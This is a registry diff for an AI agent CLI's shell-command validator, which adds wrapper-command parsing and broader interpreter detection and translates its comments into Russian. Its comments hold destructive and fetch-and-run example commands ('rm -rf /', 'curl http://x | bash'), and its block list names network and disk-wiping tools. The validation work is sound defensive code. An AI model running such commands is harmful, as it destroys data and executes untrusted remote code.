micro-models-agent 2.11.0 → 2.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (347) hide show
  1. package/CHANGELOG.md +10 -0
  2. package/dist/assets/js/tabs.js +22 -3
  3. package/dist/cli/cache-line.js +1 -0
  4. package/dist/cli/command-suggest.js +5 -4
  5. package/dist/cli/commands.js +231 -122
  6. package/dist/cli/completer.js +132 -31
  7. package/dist/cli/index.js +1 -0
  8. package/dist/cli/json-payload.js +4 -4
  9. package/dist/cli/main.js +166 -61
  10. package/dist/cli/onboarding-commands.js +126 -0
  11. package/dist/cli/plugin-commands.js +2 -1
  12. package/dist/cli/relaunch.js +16 -13
  13. package/dist/cli/repl-commands-lsp.js +75 -0
  14. package/dist/cli/repl-commands-skills.js +105 -0
  15. package/dist/cli/repl-commands.js +589 -266
  16. package/dist/cli/repl.js +436 -177
  17. package/dist/cli/run-result.js +5 -6
  18. package/dist/cli/security-commands.js +37 -28
  19. package/dist/cli/setup-order.js +4 -55
  20. package/dist/cli/setup-prompt.js +3 -2
  21. package/dist/cli/setup.js +27 -107
  22. package/dist/cli/web-command.js +98 -0
  23. package/dist/config/budget.js +5 -5
  24. package/dist/config/config.js +103 -96
  25. package/dist/config/defaults.js +38 -8
  26. package/dist/config/domains.js +24 -27
  27. package/dist/config/env.js +46 -0
  28. package/dist/config/experts.js +2 -0
  29. package/dist/config/index.js +1 -0
  30. package/dist/config/paths.js +56 -0
  31. package/dist/config/redact.js +44 -0
  32. package/dist/config/registry-extra.js +334 -0
  33. package/dist/config/registry.js +584 -0
  34. package/dist/config/security.js +35 -36
  35. package/dist/config/timeouts.js +74 -0
  36. package/dist/config/utils.js +16 -15
  37. package/dist/core/agent/artifact-progress.js +59 -0
  38. package/dist/core/agent/artifact-resolve.js +79 -0
  39. package/dist/core/agent/audit-gate.js +7 -3
  40. package/dist/core/agent/compaction.js +2 -2
  41. package/dist/core/agent/constants.js +33 -4
  42. package/dist/core/agent/context-log.js +454 -0
  43. package/dist/core/agent/context-renderer.js +5 -0
  44. package/dist/core/agent/critic-gate.js +132 -0
  45. package/dist/core/agent/hallucination-gate.js +148 -38
  46. package/dist/core/agent/loop-state.js +15 -0
  47. package/dist/core/agent/prefix-monitor.js +1 -1
  48. package/dist/core/agent/reasoning-resolver.js +10 -1
  49. package/dist/core/agent/token-tracker.js +7 -4
  50. package/dist/core/agent/tool-batch.js +93 -18
  51. package/dist/core/agent/tool-images.js +18 -0
  52. package/dist/core/agent/tool-output.js +65 -11
  53. package/dist/core/agent/tool-pairing.js +60 -0
  54. package/dist/core/agent-moe.js +25 -24
  55. package/dist/core/agent.js +429 -108
  56. package/dist/core/bootstrap/agent-phase.js +66 -0
  57. package/dist/core/bootstrap/config-phase.js +86 -0
  58. package/dist/core/bootstrap/modules-phase.js +269 -0
  59. package/dist/core/bootstrap/provider-phase.js +183 -0
  60. package/dist/core/bootstrap/session-phase.js +204 -0
  61. package/dist/core/bootstrap/state.js +94 -0
  62. package/dist/core/bootstrap/workspace-phase.js +115 -0
  63. package/dist/core/bootstrap.js +92 -660
  64. package/dist/core/crash-handler.js +17 -7
  65. package/dist/core/environment.js +37 -12
  66. package/dist/core/host-plan.js +43 -0
  67. package/dist/core/host.js +23 -0
  68. package/dist/core/index.js +1 -0
  69. package/dist/core/prompt-builder.js +17 -1
  70. package/dist/core/prompt-overflow.js +42 -43
  71. package/dist/core/session-logger.js +122 -30
  72. package/dist/core/system-prompt.js +117 -0
  73. package/dist/core/version.js +6 -4
  74. package/dist/core/web-host.js +34 -0
  75. package/dist/core/workspace.js +19 -15
  76. package/dist/i18n/index.js +37 -3
  77. package/dist/index.js +7 -3
  78. package/dist/llm/image-utils.js +55 -64
  79. package/dist/llm/llm-errors.js +9 -0
  80. package/dist/llm/model-loader.js +10 -32
  81. package/dist/llm/models-dev.js +121 -0
  82. package/dist/llm/openai-compat.js +146 -73
  83. package/dist/llm/orchestrator.js +33 -11
  84. package/dist/llm/provider-budget.js +2 -2
  85. package/dist/llm/provider-context.js +233 -0
  86. package/dist/llm/provider.js +1 -1
  87. package/dist/llm/response.js +5 -0
  88. package/dist/llm/token-counter.js +27 -11
  89. package/dist/logger/app-logger.js +48 -22
  90. package/dist/logger/file-log.js +28 -19
  91. package/dist/logger/index.js +1 -0
  92. package/dist/main.js +273 -47
  93. package/dist/migration/backup.js +14 -3
  94. package/dist/migration/detect.js +12 -3
  95. package/dist/migration/index.js +1 -0
  96. package/dist/modules/artifacts/store.js +9 -8
  97. package/dist/modules/browser/actions.js +6 -0
  98. package/dist/modules/browser/bridge-client.js +14 -12
  99. package/dist/modules/browser/bridge-path.js +4 -4
  100. package/dist/modules/browser/console-buffer.js +37 -0
  101. package/dist/modules/browser/cookie-store.js +5 -0
  102. package/dist/modules/browser/driver-types.js +1 -0
  103. package/dist/modules/browser/driver.js +19 -11
  104. package/dist/modules/browser/index.js +3 -1
  105. package/dist/modules/browser/module.js +2 -1
  106. package/dist/modules/browser/session.js +10 -30
  107. package/dist/modules/browser/snapshot.js +19 -13
  108. package/dist/modules/browser/types.js +1 -0
  109. package/dist/modules/certification/cli.js +28 -20
  110. package/dist/modules/certification/fact-checker.js +9 -1
  111. package/dist/modules/certification/loader.js +9 -2
  112. package/dist/modules/certification/manifest.js +83 -21
  113. package/dist/modules/certification/runner.js +23 -13
  114. package/dist/modules/certification/scenarios.js +20 -20
  115. package/dist/modules/certification/syntax-scenarios.js +1 -2
  116. package/dist/modules/context/chunk-query.js +11 -9
  117. package/dist/modules/context/fact-extractor.js +37 -39
  118. package/dist/modules/context/index.js +1 -0
  119. package/dist/modules/context/manager.js +106 -80
  120. package/dist/modules/critic/client.js +176 -0
  121. package/dist/modules/critic/evidence.js +81 -0
  122. package/dist/modules/critic/provider.js +45 -0
  123. package/dist/modules/critic/tools.js +78 -0
  124. package/dist/modules/critic/types.js +1 -0
  125. package/dist/modules/execution/audit-runners.js +28 -34
  126. package/dist/modules/execution/auditor.js +53 -49
  127. package/dist/modules/execution/execution-plugin.js +142 -102
  128. package/dist/modules/execution/index.js +1 -1
  129. package/dist/modules/execution/input-from.js +37 -13
  130. package/dist/modules/execution/module.js +368 -191
  131. package/dist/modules/execution/moe-executor.js +53 -26
  132. package/dist/modules/execution/plan-actions.js +320 -202
  133. package/dist/modules/execution/plan-checks.js +35 -0
  134. package/dist/modules/execution/plan-coverage.js +36 -33
  135. package/dist/modules/execution/plan-steps.js +11 -3
  136. package/dist/modules/execution/plan-store.js +83 -17
  137. package/dist/modules/execution/plan-tool.js +89 -35
  138. package/dist/modules/execution/plan-validator.js +30 -10
  139. package/dist/modules/execution/planner.js +22 -13
  140. package/dist/modules/execution/stuck-detector.js +196 -93
  141. package/dist/modules/execution/tracker.js +22 -8
  142. package/dist/modules/execution/verifier.js +69 -48
  143. package/dist/modules/execution/windows-commands.js +12 -12
  144. package/dist/modules/hallucination/artifact-claim.js +93 -0
  145. package/dist/modules/hallucination/confidence.js +13 -11
  146. package/dist/modules/hallucination/consistency.js +10 -2
  147. package/dist/modules/hallucination/detector.js +10 -5
  148. package/dist/modules/hallucination/factual.js +43 -26
  149. package/dist/modules/hallucination/index.js +1 -0
  150. package/dist/modules/hallucination/js-identifiers.js +44 -45
  151. package/dist/modules/hallucination/llm-judge.js +17 -12
  152. package/dist/modules/hallucination/success-claim.js +59 -0
  153. package/dist/modules/indexer/cache.js +52 -4
  154. package/dist/modules/indexer/index.js +1 -0
  155. package/dist/modules/indexer/map-command.js +2 -4
  156. package/dist/modules/indexer/map-select.js +16 -16
  157. package/dist/modules/indexer/module.js +47 -12
  158. package/dist/modules/indexer/project-profile.js +8 -7
  159. package/dist/modules/indexer/symbols.js +15 -15
  160. package/dist/modules/indexer/walker.js +159 -29
  161. package/dist/modules/lsp/check-tool.js +7 -5
  162. package/dist/modules/lsp/client.js +39 -39
  163. package/dist/modules/lsp/command.js +17 -24
  164. package/dist/modules/lsp/config.js +12 -11
  165. package/dist/modules/lsp/index.js +1 -0
  166. package/dist/modules/lsp/module.js +48 -46
  167. package/dist/modules/lsp/probe.js +13 -14
  168. package/dist/modules/lsp/project-root.js +14 -17
  169. package/dist/modules/lsp/startup-check.js +18 -16
  170. package/dist/modules/mcp/client.js +59 -62
  171. package/dist/modules/mcp/index.js +1 -0
  172. package/dist/modules/mcp/module.js +66 -37
  173. package/dist/modules/mcp/registry.js +5 -0
  174. package/dist/modules/memory/index.js +1 -0
  175. package/dist/modules/memory/module.js +12 -8
  176. package/dist/modules/memory/search.js +4 -1
  177. package/dist/modules/memory/store.js +40 -2
  178. package/dist/modules/onboarding/init.js +47 -0
  179. package/dist/modules/onboarding/meet.js +30 -0
  180. package/dist/modules/onboarding/mode.js +30 -0
  181. package/dist/modules/onboarding/prompts.js +43 -0
  182. package/dist/modules/pipelines/engine.js +10 -0
  183. package/dist/modules/pipelines/index.js +1 -0
  184. package/dist/modules/pipelines/parser.js +4 -1
  185. package/dist/modules/pipelines/template.js +4 -0
  186. package/dist/modules/plugins/builtin/lint-on-write.js +80 -67
  187. package/dist/modules/plugins/builtin/notify.js +2 -0
  188. package/dist/modules/plugins/index.js +1 -0
  189. package/dist/modules/plugins/loader.js +18 -3
  190. package/dist/modules/plugins/manager.js +37 -17
  191. package/dist/modules/pricing/index.js +10 -11
  192. package/dist/modules/pricing/prices.js +12 -12
  193. package/dist/modules/processes/index.js +1 -0
  194. package/dist/modules/processes/kill-tree.js +27 -31
  195. package/dist/modules/processes/registry.js +44 -25
  196. package/dist/modules/processes/runner.js +4 -4
  197. package/dist/modules/providers/capabilities.js +28 -0
  198. package/dist/modules/providers/create.js +3 -4
  199. package/dist/modules/providers/factory.js +7 -7
  200. package/dist/modules/providers/fallback.js +12 -12
  201. package/dist/modules/providers/health.js +4 -4
  202. package/dist/modules/providers/manager.js +50 -19
  203. package/dist/modules/providers/naming.js +15 -0
  204. package/dist/modules/providers/preflight.js +71 -0
  205. package/dist/modules/providers/presets.js +39 -8
  206. package/dist/modules/providers/registry.js +7 -2
  207. package/dist/modules/reasoning/policy.js +8 -6
  208. package/dist/modules/reasoning/probe.js +30 -25
  209. package/dist/modules/security/audit-log.js +19 -36
  210. package/dist/modules/security/audit-notifier.js +35 -75
  211. package/dist/modules/security/command-validator.js +99 -51
  212. package/dist/modules/security/content-scanner.js +8 -8
  213. package/dist/modules/security/data-sanitizer.js +9 -16
  214. package/dist/modules/security/encryption.js +32 -52
  215. package/dist/modules/security/index.js +2 -1
  216. package/dist/modules/security/network-validator.js +120 -43
  217. package/dist/modules/security/path-validator.js +61 -46
  218. package/dist/modules/security/protected-paths.js +73 -0
  219. package/dist/modules/security/rate-limiter.js +17 -49
  220. package/dist/modules/security/security-policies.js +25 -57
  221. package/dist/modules/security/session-encryption.js +32 -71
  222. package/dist/modules/security/session-isolation.js +15 -28
  223. package/dist/modules/session/auto-name.js +63 -0
  224. package/dist/modules/session/export.js +98 -0
  225. package/dist/modules/session/index.js +1 -0
  226. package/dist/modules/session/manager.js +79 -28
  227. package/dist/modules/session/module.js +4 -3
  228. package/dist/modules/session/store.js +57 -20
  229. package/dist/modules/setup/answers.js +35 -0
  230. package/dist/modules/setup/apply.js +79 -0
  231. package/dist/modules/setup/discovery.js +72 -0
  232. package/dist/modules/skills/index.js +1 -0
  233. package/dist/modules/skills/loader.js +9 -1
  234. package/dist/modules/skills/module.js +11 -0
  235. package/dist/modules/updater/changelog-reader.js +15 -16
  236. package/dist/modules/updater/checker.js +9 -4
  237. package/dist/modules/updater/dev-detect.js +7 -6
  238. package/dist/modules/updater/index.js +1 -0
  239. package/dist/modules/updater/module.js +17 -15
  240. package/dist/modules/user-profile/compressor.js +2 -0
  241. package/dist/modules/user-profile/index.js +1 -0
  242. package/dist/modules/user-profile/profile.js +10 -1
  243. package/dist/modules/webui/answer-api.js +29 -0
  244. package/dist/modules/webui/assets.js +50 -0
  245. package/dist/modules/webui/body.js +21 -0
  246. package/dist/modules/webui/commands-settings.js +209 -0
  247. package/dist/modules/webui/commands-shared.js +60 -0
  248. package/dist/modules/webui/commands.js +174 -0
  249. package/dist/modules/webui/config-api.js +134 -0
  250. package/dist/modules/webui/file-api.js +202 -0
  251. package/dist/modules/webui/forward.js +159 -0
  252. package/dist/modules/webui/history-api.js +112 -0
  253. package/dist/modules/webui/host-state.js +60 -0
  254. package/dist/modules/webui/i18n-api.js +9 -0
  255. package/dist/modules/webui/limits.js +6 -0
  256. package/dist/modules/webui/log-forward.js +20 -0
  257. package/dist/modules/webui/memory-commands.js +64 -0
  258. package/dist/modules/webui/model-cache.js +18 -0
  259. package/dist/modules/webui/module.js +148 -0
  260. package/dist/modules/webui/persist.js +24 -0
  261. package/dist/modules/webui/prompt-io.js +97 -0
  262. package/dist/modules/webui/providers-api.js +337 -0
  263. package/dist/modules/webui/providers-view.js +56 -0
  264. package/dist/modules/webui/reasoning-view.js +15 -0
  265. package/dist/modules/webui/run-agent.js +81 -0
  266. package/dist/modules/webui/server.js +284 -0
  267. package/dist/modules/webui/sessions-api.js +178 -0
  268. package/dist/modules/webui/settings-api.js +561 -0
  269. package/dist/modules/webui/setup-api.js +201 -0
  270. package/dist/modules/webui/state.js +74 -0
  271. package/dist/modules/webui/util.js +261 -0
  272. package/dist/output/bus.js +7 -2
  273. package/dist/output/channel.js +80 -28
  274. package/dist/output/format.js +2 -1
  275. package/dist/output/index.js +1 -0
  276. package/dist/output/json-sink.js +5 -3
  277. package/dist/output/machine.js +4 -3
  278. package/dist/output/session-sink.js +4 -4
  279. package/dist/tools/approve.js +4 -0
  280. package/dist/tools/attach-image.js +5 -4
  281. package/dist/tools/auto-fixer.js +26 -44
  282. package/dist/tools/auto-tags.js +83 -0
  283. package/dist/tools/bash.js +193 -116
  284. package/dist/tools/browser.js +76 -31
  285. package/dist/tools/chunk-query.js +14 -6
  286. package/dist/tools/create-dir.js +9 -5
  287. package/dist/tools/delete-file.js +9 -5
  288. package/dist/tools/download-file.js +32 -7
  289. package/dist/tools/edit-file.js +52 -14
  290. package/dist/tools/enable-tools.js +6 -6
  291. package/dist/tools/executor.js +132 -27
  292. package/dist/tools/file-info.js +3 -1
  293. package/dist/tools/filter-tools.js +3 -3
  294. package/dist/tools/glob-tool.js +4 -1
  295. package/dist/tools/grep-tool.js +13 -10
  296. package/dist/tools/hidden-tools-block.js +6 -6
  297. package/dist/tools/index.js +16 -8
  298. package/dist/tools/list-dir.js +4 -2
  299. package/dist/tools/load-skill.js +7 -0
  300. package/dist/tools/mcp-call.js +15 -4
  301. package/dist/tools/meet-done.js +14 -0
  302. package/dist/tools/move-file.js +14 -7
  303. package/dist/tools/path-utils.js +29 -29
  304. package/dist/tools/pipeline-run.js +29 -7
  305. package/dist/tools/preview.js +1 -1
  306. package/dist/tools/process-ids.js +31 -0
  307. package/dist/tools/process-kill.js +9 -16
  308. package/dist/tools/process-list.js +1 -0
  309. package/dist/tools/process-log.js +11 -16
  310. package/dist/tools/process-wait.js +63 -0
  311. package/dist/tools/prompt-io.js +4 -3
  312. package/dist/tools/question.js +172 -25
  313. package/dist/tools/read-file.js +55 -34
  314. package/dist/tools/recall.js +14 -8
  315. package/dist/tools/registry.js +6 -5
  316. package/dist/tools/remember.js +8 -4
  317. package/dist/tools/scope-request.js +11 -6
  318. package/dist/tools/search-history.js +5 -2
  319. package/dist/tools/session-info.js +2 -0
  320. package/dist/tools/set-thinking.js +8 -4
  321. package/dist/tools/subagent.js +59 -39
  322. package/dist/tools/syntax-validator.js +292 -90
  323. package/dist/tools/user-input.js +22 -18
  324. package/dist/tools/web-browse.js +9 -3
  325. package/dist/tools/web-fetch.js +12 -23
  326. package/dist/tools/web-search.js +7 -5
  327. package/dist/tools/write-file.js +45 -15
  328. package/dist/ui/action-log.js +13 -0
  329. package/dist/ui/box.js +4 -3
  330. package/dist/ui/colors.js +2 -0
  331. package/dist/ui/diff.js +6 -5
  332. package/dist/ui/index.js +1 -0
  333. package/dist/ui/line-editor.js +230 -122
  334. package/dist/ui/line-math.js +10 -2
  335. package/dist/ui/md-formatter.js +57 -37
  336. package/dist/ui/output.js +8 -3
  337. package/dist/ui/plan-view.js +21 -10
  338. package/dist/ui/renderer.js +393 -67
  339. package/dist/ui/spinner.js +16 -5
  340. package/dist/ui/table.js +15 -17
  341. package/dist/ui/theme.js +143 -0
  342. package/dist/utils/child-run.js +20 -0
  343. package/dist/utils/error.js +1 -1
  344. package/dist/utils/index.js +2 -0
  345. package/dist/utils/retry.js +2 -2
  346. package/dist/utils/truncate.js +1 -1
  347. package/package.json +1 -1
@@ -1,5 +1,5 @@
1
1
  import { DEFAULT_SECURITY_CONFIG } from "../../config/security";
2
- // Fallback in case DEFAULT_SECURITY_CONFIG is not available
2
+ // Резерв, если DEFAULT_SECURITY_CONFIG недоступен
3
3
  const FALLBACK_BASH_CONFIG = {
4
4
  enabled: false,
5
5
  blacklist: [
@@ -24,77 +24,125 @@ const FALLBACK_BASH_CONFIG = {
24
24
  };
25
25
  export const DEFAULT_BASH_CONFIG = DEFAULT_SECURITY_CONFIG?.bash || FALLBACK_BASH_CONFIG;
26
26
  /**
27
- * Extract the actual base command from a shell command string.
28
- * Handles path prefixes, env assignments, and sudo.
27
+ * Выделить базовую команду из shell-строки.
28
+ * Учитывает пути, env-присваивания и sudo.
29
29
  *
30
- * Examples:
30
+ * Примеры:
31
31
  * "/usr/bin/rm -rf /" → "rm"
32
32
  * "sudo /usr/bin/rm file" → "rm"
33
33
  * "NODE_ENV=prod node app.js" → "node"
34
34
  * "env PATH=/x rm -rf /" → "rm"
35
- * "cmd=rm; $cmd -rf /" → "cmd" (variable indirection — not expanded)
35
+ * "cmd=rm; $cmd -rf /" → "cmd" (переменная не раскрывается)
36
36
  * "powershell Remove-Item x" → "Remove-Item"
37
37
  * "cmd /c del /s /q" → "del"
38
38
  */
39
+ /** Обёртки, запускающие другую команду; их опции пропускаются. */
40
+ const WRAPPERS = new Set([
41
+ "sudo",
42
+ "doas",
43
+ "env",
44
+ "command",
45
+ "exec",
46
+ "nohup",
47
+ "nice",
48
+ "timeout",
49
+ "stdbuf",
50
+ "ionice",
51
+ "setsid",
52
+ "time",
53
+ ]);
54
+ /** Флаги обёрток, съедающие следующий токен как значение. */
55
+ const WRAPPER_VALUE_FLAGS = {
56
+ sudo: new Set(["-u", "-g", "-p", "-C", "-U", "-h", "-r", "-t", "-c"]),
57
+ doas: new Set(["-u"]),
58
+ nice: new Set(["-n", "--adjustment"]),
59
+ timeout: new Set(["-k", "-s", "--signal", "--kill-after"]),
60
+ stdbuf: new Set(["-i", "-o", "-e"]),
61
+ ionice: new Set(["-c", "-n"]),
62
+ };
63
+ /** Пропустить собственные опции/значения обёртки; вернуть следующий индекс. */
64
+ function skipWrapperArgs(tokens, i, wrapper) {
65
+ const valueFlags = WRAPPER_VALUE_FLAGS[wrapper] ?? new Set();
66
+ while (i < tokens.length) {
67
+ const t = tokens[i];
68
+ if (t.startsWith("-")) {
69
+ i++;
70
+ if (t.includes("="))
71
+ continue; // --flag=value самодостаточен
72
+ if (valueFlags.has(t))
73
+ i++; // съесть значение флага
74
+ continue;
75
+ }
76
+ // Голое число (timeout 5, nice 10) — никогда не команда.
77
+ if (/^\d+(?:\.\d+)?[smhd]?$/.test(t)) {
78
+ i++;
79
+ continue;
80
+ }
81
+ break;
82
+ }
83
+ return i;
84
+ }
39
85
  function extractBaseCommand(trimmed) {
40
86
  const tokens = trimmed.split(/\s+/);
41
87
  let i = 0;
42
- // Skip env assignments (KEY=val, KEY="val", etc.) and prefixed commands
88
+ // Пропуск env-присваиваний (KEY=val, KEY="val" и т.п.) и обёрток
89
+ // (sudo/nice/timeout/stdbuf/…) ВМЕСТЕ с их опциями — иначе
90
+ // `nice rm file` извлёк бы "nice", и blacklist не увидел бы `rm`.
43
91
  while (i < tokens.length) {
44
92
  const tok = tokens[i];
45
93
  if (/^[a-zA-Z_][a-zA-Z0-9_]*=/.test(tok)) {
46
94
  i++;
47
95
  continue;
48
96
  }
49
- if (tok === "sudo" || tok === "env" || tok === "command" || tok === "exec" || tok === "nohup") {
50
- i++;
97
+ if (WRAPPERS.has(tok)) {
98
+ i = skipWrapperArgs(tokens, i + 1, tok);
51
99
  continue;
52
100
  }
53
101
  break;
54
102
  }
55
103
  if (i >= tokens.length)
56
104
  return tokens[0] ?? "";
57
- // Extract basename from path (e.g. /usr/bin/rm → rm). Strip surrounding
58
- // quotes first — otherwise `'rm'` / `"rm"` evade the blacklist entirely.
105
+ // basename из пути (/usr/bin/rm → rm). Сначала снять кавычки —
106
+ // иначе `'rm'` / `"rm"` полностью обойдут blacklist.
59
107
  const raw = tokens[i].replace(/^["']+|["']+$/g, "");
60
108
  const parts = raw.split(/[\\/]/);
61
109
  const basename = parts[parts.length - 1] || raw;
62
- // Strip .exe/.cmd/.bat extensions for blacklist matching (e.g. powershell.exe → powershell)
110
+ // Срезать .exe/.cmd/.bat для сверки (powershell.exe → powershell)
63
111
  return basename.replace(/\.(exe|cmd|bat)$/i, "") || basename;
64
112
  }
65
113
  /**
66
- * Check if a shell operator appears as a standalone token in the command.
67
- * Uses regex with lookbehind/lookahead so that:
68
- * "&" does NOT match "&&" (AND operator)
69
- * "|" does NOT match "||" (OR operator)
70
- * ">" does NOT match ">>" (append)
71
- * "2>" does NOT match "2>>" (append stderr)
114
+ * Есть ли shell-оператор отдельным токеном в команде.
115
+ * Regex с lookbehind/lookahead, чтобы:
116
+ * "&" НЕ матчил "&&" (AND)
117
+ * "|" НЕ матчил "||" (OR)
118
+ * ">" НЕ матчил ">>" (append)
119
+ * "2>" НЕ матчил "2>>" (append stderr)
72
120
  */
73
121
  function containsOperator(command, op) {
74
122
  const escaped = op.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
75
- // For single-char operators that are prefixes of multi-char ones,
76
- // ensure they don't match when part of a longer sequence.
77
- // Note: "&" is no longer in dangerousOperators (&& is legitimate),
78
- // but keep the special case for defense-in-depth if manually added.
123
+ // Односимвольные операторы — префиксы многосимвольных:
124
+ // не матчить внутри длинной цепочки.
125
+ // "&" уже не в dangerousOperators (&& легитимен),
126
+ // спецкейс оставлен на случай ручного добавления.
79
127
  if (op === "&")
80
128
  return /(?<!&)&(?!&)/.test(command);
81
129
  if (op === "|")
82
130
  return /(?<!\|)\|(?!\|)/.test(command);
83
131
  if (op === ">")
84
132
  return /(?<!>)>(?!>)/.test(command);
85
- // For everything else (including multi-char like ">>", "2>", "2>>", ";", "`"),
86
- // match literally.
133
+ // Остальное (">>", "2>", "2>>", ";", "`") — буквальное совпадение.
87
134
  return new RegExp(escaped).test(command);
88
135
  }
89
136
  /**
90
- * Check if a command is allowed based on security configuration
137
+ * Разрешена ли команда по конфигу безопасности.
138
+ * Выключенная защита разрешает всё; пустая команда запрещена.
91
139
  */
92
140
  export function isCommandAllowed(command, securityConfig) {
93
- // If security is disabled, allow everything
141
+ // Выключенная защита разрешает всё
94
142
  if (!securityConfig?.enabled) {
95
143
  return { allowed: true, sanitizedCommand: command };
96
144
  }
97
- // Ensure config has all required fields
145
+ // Конфиг должен иметь все поля
98
146
  let config = securityConfig;
99
147
  if (!config.blacklist || !Array.isArray(config.blacklist)) {
100
148
  config = {
@@ -106,8 +154,8 @@ export function isCommandAllowed(command, securityConfig) {
106
154
  if (!trimmedCommand) {
107
155
  return { allowed: false, reason: "Empty command" };
108
156
  }
109
- // Shell wrappers are always blocked — they bypass all command validation.
110
- // The agent should use the bash tool directly, not shell interpreters.
157
+ // Shell-обёртки запрещены всегда — они обходят всю валидацию.
158
+ // Агент использует тул bash напрямую, а не интерпретаторы.
111
159
  const ALWAYS_BLOCKED = ["powershell", "pwsh", "cmd"];
112
160
  const baseForShellCheck = extractBaseCommand(trimmedCommand);
113
161
  if (ALWAYS_BLOCKED.includes(baseForShellCheck)) {
@@ -116,25 +164,25 @@ export function isCommandAllowed(command, securityConfig) {
116
164
  reason: `Shell wrapper "${baseForShellCheck}" is blocked — use the bash tool directly`,
117
165
  };
118
166
  }
119
- // Interpreters with -c/-e execute arbitrary code and bypass the blacklist.
120
- // Quotes are stripped first (`'bash' -c`), and the name may follow a path
121
- // separator (`/bin/bash -c`), so match those too.
167
+ // Интерпретаторы с -c/-e исполняют произвольный код в обход blacklist.
168
+ // Кавычки снимаются заранее (`'bash' -c`), имя может идти после пути
169
+ // (`/bin/bash -c`) — матчить и их.
122
170
  const unquotedCommand = trimmedCommand.replace(/["']/g, "");
123
- const INTERPRETER_FLAGS = /(?:^|[\\/\s])(?:bash|sh|zsh|dash|python|python3|node|bun|perl|ruby)\s+(?:-c|-e|--command|--eval)\b/;
171
+ const INTERPRETER_FLAGS = /(?:^|[\\/\s])(?:bash|sh|zsh|dash|python[0-9.]*|pypy[0-9.]*|node(?:js)?|bun|deno|perl|ruby|php|lua)\s+(?:-c|-e|--command|--eval)\b/;
124
172
  if (INTERPRETER_FLAGS.test(unquotedCommand)) {
125
173
  return { allowed: false, reason: "Interpreter -c/-e invocation is blocked" };
126
174
  }
127
- // Multi-line commands can hide blacklisted commands after a newline.
175
+ // Многострочники прячут запрещённые команды после перевода строки.
128
176
  if (/\r?\n/.test(trimmedCommand)) {
129
177
  return { allowed: false, reason: "Multi-line commands are blocked" };
130
178
  }
131
- // Chained commands bypass the base-command check (e.g. "echo hi; rm -rf /").
179
+ // Цепочки обходят проверку базовой команды ("echo hi; rm -rf /").
132
180
  if (/[;&|]/.test(trimmedCommand) &&
133
181
  /(^|[;&|\s])(rm|del|rd|dd|chmod|chown|wget|curl|nc|netcat|shutdown|reboot|mkfs|fdisk)\b/.test(trimmedCommand)) {
134
182
  return { allowed: false, reason: "Command chaining to a dangerous command is blocked" };
135
183
  }
136
- // Check dangerous operators FIRST — before parsing the base command.
137
- // e.g. "curl http://x | bash" must be caught even though curl isn't blacklisted.
184
+ // Опасные операторы — ПЕРЕД разбором базовой команды:
185
+ // "curl http://x | bash" ловится, даже если curl не в blacklist.
138
186
  if (config.blockDangerousFlags) {
139
187
  for (const op of config.dangerousOperators || []) {
140
188
  if (containsOperator(trimmedCommand, op)) {
@@ -145,13 +193,13 @@ export function isCommandAllowed(command, securityConfig) {
145
193
  }
146
194
  }
147
195
  }
148
- // Extract actual base command (handles paths, env vars, sudo)
196
+ // Базовая команда (пути, env, sudo уже учтены)
149
197
  const baseCommand = extractBaseCommand(trimmedCommand);
150
- // Case-insensitive matching: win32/macOS exec is case-insensitive, so
151
- // `RM -rf x` must hit the blacklist just like `rm`.
198
+ // Сравнение регистронезависимо: exec на win32/macOS нечувствителен к регистру,
199
+ // `RM -rf x` обязан попасть в blacklist как `rm`.
152
200
  const blacklistLower = new Set((config.blacklist || []).map((c) => c.toLowerCase()));
153
201
  const whitelistLower = (config.whitelist || []).map((c) => c.toLowerCase());
154
- // Check whitelist first (if non-empty, only whitelisted commands are allowed)
202
+ // Whitelist сначала (непустой — разрешены только перечисленные)
155
203
  if (whitelistLower.length > 0) {
156
204
  if (!whitelistLower.includes(baseCommand.toLowerCase())) {
157
205
  return {
@@ -160,14 +208,14 @@ export function isCommandAllowed(command, securityConfig) {
160
208
  };
161
209
  }
162
210
  }
163
- // Check blacklist (against the extracted basename, not the raw token)
211
+ // Blacklist — по извлечённому basename, не по сырому токену
164
212
  if (blacklistLower.has(baseCommand.toLowerCase())) {
165
213
  return {
166
214
  allowed: false,
167
215
  reason: `Command "${baseCommand}" is blacklisted`,
168
216
  };
169
217
  }
170
- // Also check the raw first token in case it's a simple name
218
+ // И сырой первый токен — вдруг это простое имя
171
219
  const rawFirst = trimmedCommand
172
220
  .split(/\s+/)[0]
173
221
  .replace(/^["']+|["']+$/g, "")
@@ -178,10 +226,10 @@ export function isCommandAllowed(command, securityConfig) {
178
226
  reason: `Command "${rawFirst}" is blacklisted`,
179
227
  };
180
228
  }
181
- // Check for dangerous flags
229
+ // Опасные флаги
182
230
  if (config.blockDangerousFlags) {
183
231
  for (const flag of config.dangerousFlags || []) {
184
- // Check for flag as whole word or with equals
232
+ // Флаг целым словом или с equals
185
233
  const flagPattern = new RegExp(`(?:^|\\s)${flag}(?:\\s|$|=)`);
186
234
  if (flagPattern.test(trimmedCommand)) {
187
235
  return {
@@ -191,15 +239,15 @@ export function isCommandAllowed(command, securityConfig) {
191
239
  }
192
240
  }
193
241
  }
194
- // Command is allowed
242
+ // Команда разрешена
195
243
  return { allowed: true, sanitizedCommand: command };
196
244
  }
197
245
  /**
198
- * Sanitize command for logging (remove sensitive information)
199
- * Uses the same patterns as sanitizeLogMessage for consistency
246
+ * Санитизация команды для логов (вырезание секретов).
247
+ * Те же паттерны, что в sanitizeLogMessage, — для консистентности.
200
248
  */
201
249
  export function sanitizeCommandForLog(command) {
202
- // Import patterns from data-sanitizer to maintain consistency
250
+ // Паттерны из data-sanitizer — для консистентности
203
251
  const patterns = [
204
252
  /(api[_-]?key|apikey|api_key)\s*[=:\s]\s*["']?([a-zA-Z0-9_-]{10,})["']?/gi,
205
253
  /(token|access[_-]?token|auth[_-]?token)\s*[=:\s]\s*["']?([a-zA-Z0-9_-]{10,})["']?/gi,
@@ -215,9 +263,9 @@ export function sanitizeCommandForLog(command) {
215
263
  ];
216
264
  let sanitized = command;
217
265
  for (const pattern of patterns) {
218
- // Whole-match replacement for every pattern: capture-group-aware
219
- // replacement would re-emit the secret itself for patterns whose only
220
- // group IS the value (e.g. "Bearer <token>", sk-...).
266
+ // Замена целиком по каждому паттерну: замена с учётом групп
267
+ // переизлучила бы сам секрет для паттернов, где группа И ЕСТЬ значение
268
+ // (например, "Bearer <token>", sk-...).
221
269
